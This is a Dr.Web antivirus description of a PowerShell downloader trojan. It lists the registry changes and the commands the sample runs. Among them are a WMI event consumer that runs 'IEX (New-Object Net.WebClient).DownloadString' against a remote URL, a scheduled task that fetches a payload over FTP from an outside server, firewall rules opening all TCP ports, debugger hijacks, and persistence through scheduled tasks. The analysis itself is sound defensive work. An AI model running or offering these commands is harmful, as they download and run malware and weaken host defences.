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PowerShell.DownLoader.1604

Added to the Dr.Web virus database: 2022-07-08

Virus description added:

Technical Information

To ensure autorun and distribution
Modifies the following registry keys
  • [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vid001.exe] 'Debugger' = 'ntsd -d'
  • [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uihost64.exe] 'Debugger' = 'ntsd -d'
  • [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uihost32.exe] 'Debugger' = 'ntsd -d'
Creates or modifies the following files
  • <SYSTEM32>\tasks\mysa1
  • <SYSTEM32>\tasks\mysa2
  • <SYSTEM32>\tasks\ok
  • <SYSTEM32>\tasks\oka
  • <SYSTEM32>\tasks\microsoftswindowsy
Malicious functions
Executes the following
  • '<SYSTEM32>\taskkill.exe' /f /im powershell.exe
  • '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="tcp all" dir=in protocol=tcp localport=0-65535 action=allow
  • '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="deny tcp 445" dir=in protocol=tcp localport=445 action=block
  • '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="deny tcp 139" dir=in protocol=tcp localport=139 action=block
  • '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="tcpall" dir=out protocol=tcp localport=0-65535 action=allow
Modifies file system
Modifies the HOSTS file.
Miscellaneous
Searches for the following windows
  • ClassName: '' WindowName: ''
Creates and executes the following
  • '<SYSTEM32>\rundll32.exe' %WINDIR%\debug\item.dat,ServiceMain aaaa' (with hidden window)
Executes the following
  • '<SYSTEM32>\schtasks.exe' /create /tn "Mysa1" /tr "rundll32.exe %WINDIR%\debug\item.dat,ServiceMain aaaa" /ru "system" /sc minute /mo 3 /f
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckayoumm3" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="fuckyoumm4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckyoumm4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='Windows Events Filter'" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="Windows Events Consumer" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="Windows Events Consumer4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="Windows Events Filter" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='coronav2'" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="coronav2" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="coronav2" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="coronav" DELETE
  • '<SYSTEM32>\sc.exe' config xWinWpdSrv start= auto
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='fuckstar4'" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckstar4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckstar3" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='fuckann4'" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="fuckann4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckann4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckann3" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' process where "name='lsass.exe' and ExecutablePath<>'C:\\WINDOWS\\system32\\lsass.exe'" delete
  • '<SYSTEM32>\wbem\wmic.exe' process where "name='services.exe' and ExecutablePath<>'C:\\WINDOWS\\system32\\services.exe' and ExecutablePath<>'C:\\WINDOWS\\syswow64\\services.exe'" delete
  • '<SYSTEM32>\wbem\wmic.exe' process where "name='WUDFHosts.exe' and ExecutablePath<>'C:\\WINDOWS\\system32\\WUDFHosts.exe' and ExecutablePath<>'C:\\WINDOWS\\syswow64\\WUDFHosts.exe'" delete
  • '<SYSTEM32>\wbem\wmic.exe' process where "name='csrss.exe' and ExecutablePath<>'C:\\WINDOWS\\system32\\csrss.exe' and ExecutablePath<>'C:\\WINDOWS\\syswow64\\csrss.exe'" delete
  • '<SYSTEM32>\wbem\wmic.exe' process where "name='wininit.exe' and ExecutablePath<>'C:\\WINDOWS\\system32\\wininit.exe' and ExecutablePath<>'C:\\WINDOWS\\syswow64\\wininit.exe'" delete
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="fuckstar4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' process where "name='svchost.exe' and ExecutablePath<>'C:\\WINDOWS\\system32\\svchost.exe' and ExecutablePath<>'C:\\WINDOWS\\syswow64\\svchost.exe'" delete
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='fuckyoumm3'" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="kuckavv4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="killmm4", CommandLineTemplate="cmd /c powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://wm#...
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="killmm3", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 10800 WHERE T...
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='killmm3'" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="killmm3" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="killmm4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="killmm4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='kuckstar3'" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="kucstar3" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="kuckstar4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="kuckstar4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='kuckavv3'" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="fuckamm4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckamm4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="kuckavv4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='kvckavv3'" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="kvckavv3" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="kvckavv4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="kvckavv4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='fuckavv3'" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckavv3" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="fuckavv4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckavv4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='fuckamm3'" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckamm3" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="kuckavv3" DELETE
  • '<SYSTEM32>\schtasks.exe' /run /tn oka
  • '<SYSTEM32>\icacls.exe' %WINDIR%\debug\winu.bat /reset
  • '<SYSTEM32>\icacls.exe' %WINDIR%\debug\item.dat /reset
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "windowsinit" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "Update3" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "Update4" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "Update2" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "Update" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "Windows_Update" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "at6" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "WindowsUpdate3" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "\Microsoft\Windows\RAC\BackUpEvent" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "OfficeUpdaterA" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "AdobeFlashPlayer" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "WindowsUpdate1" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "MicrosoftsWindowsu2" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "MicrosoftsWindowsy" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "MicrosoftsWindowsz" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "MicrosoftsWindowsa" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "MicrosoftsWindowsu1" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "MicrosoftsWindowsu" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "MicrosoftsWindows" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "MicrosoftWindows" /F
  • '<SYSTEM32>\schtasks.exe' /create /tn "oka" /tr "%WINDIR%\inf\aspnet\lsma22.exe" /ru "system" /sc minute /mo 3 /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "ok" /tr "rundll32.exe %WINDIR%\debug\ok.dat,ServiceMain aaaa" /ru "system" /sc minute /mo 4 /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "Mysa2" /tr "cmd /c echo open ftp.ftp0810.ru>p&echo test>>p&echo 1433>>p&echo get s.dat %WINDIR%\debug\item.dat>>p&echo bye>>p&ftp -s:p" /ru "system" /sc onstart /F
  • '<SYSTEM32>\schtasks.exe' /create /tn "MicrosoftsWindowsy" /tr "%WINDIR%\temp\conhoy.exe" /ru "system" /sc minute /mo 1 /f
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "updat_windows" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "System Security Check" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "at1" /F
  • '<SYSTEM32>\icacls.exe' %WINDIR%\system\msinfo.exe /reset
  • '<SYSTEM32>\netsh.exe' advfirewall set allprofiles state on
  • '<SYSTEM32>\icacls.exe' %WINDIR%\temp\conhou.exe /reset
  • '<SYSTEM32>\icacls.exe' %WINDIR%\temp\conhos.exe /reset
  • '<SYSTEM32>\cacls.exe' <SYSTEM32>\wscript.exe /e /d system
  • '<SYSTEM32>\cacls.exe' <SYSTEM32>\cscript.exe /e /d system
  • '<SYSTEM32>\cacls.exe' %WINDIR%\debug\winu.bat /e /t /c /g system:f
  • '<SYSTEM32>\cacls.exe' %WINDIR%\debug\item.dat /e /t /c /g system:f
  • '<SYSTEM32>\cacls.exe' %WINDIR%\system\msinfo.exe /e /t /c /g system:f
  • '<SYSTEM32>\cacls.exe' %WINDIR%\temp\conhos.exe /e /t /c /g system:f
  • '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\conhou.exe" /f
  • '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msinfo.exe" /f
  • '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\conhos.exe" /f
  • '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="tcpall" dir=out
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "at2" /F
  • '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="deny tcp 139" dir=in
  • '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="deny tcp 445" dir=in
  • '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="tcp all" dir=in
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uihost32.exe" /v Debugger /t REG_SZ /d "ntsd -d" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uihost64.exe" /v Debugger /t REG_SZ /d "ntsd -d" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vid001.exe" /v Debugger /t REG_SZ /d "ntsd -d" /f
  • '<SYSTEM32>\reg.exe' delete "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "SHELL" /f
  • '<SYSTEM32>\reg.exe' delete HKlm\Software\Microsoft\Windows\CurrentVersion\Run /v "start1" /f
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "Microsoft LocalManager[Windows Server 2008 R2 Standard]" /F
  • '<SYSTEM32>\schtasks.exe' /DELETE /TN "\Microsoft\Windows\UPnP\Services" /f
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "Microsoft LocalManager[Windows Server 2008 R2 Enterprise]" /F
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"killmm3\"", Consumer="CommandLineEventConsumer.Name=\"killmm4\""
  • '<SYSTEM32>\rundll32.exe' %WINDIR%\debug\item.dat,ServiceMain aaaa

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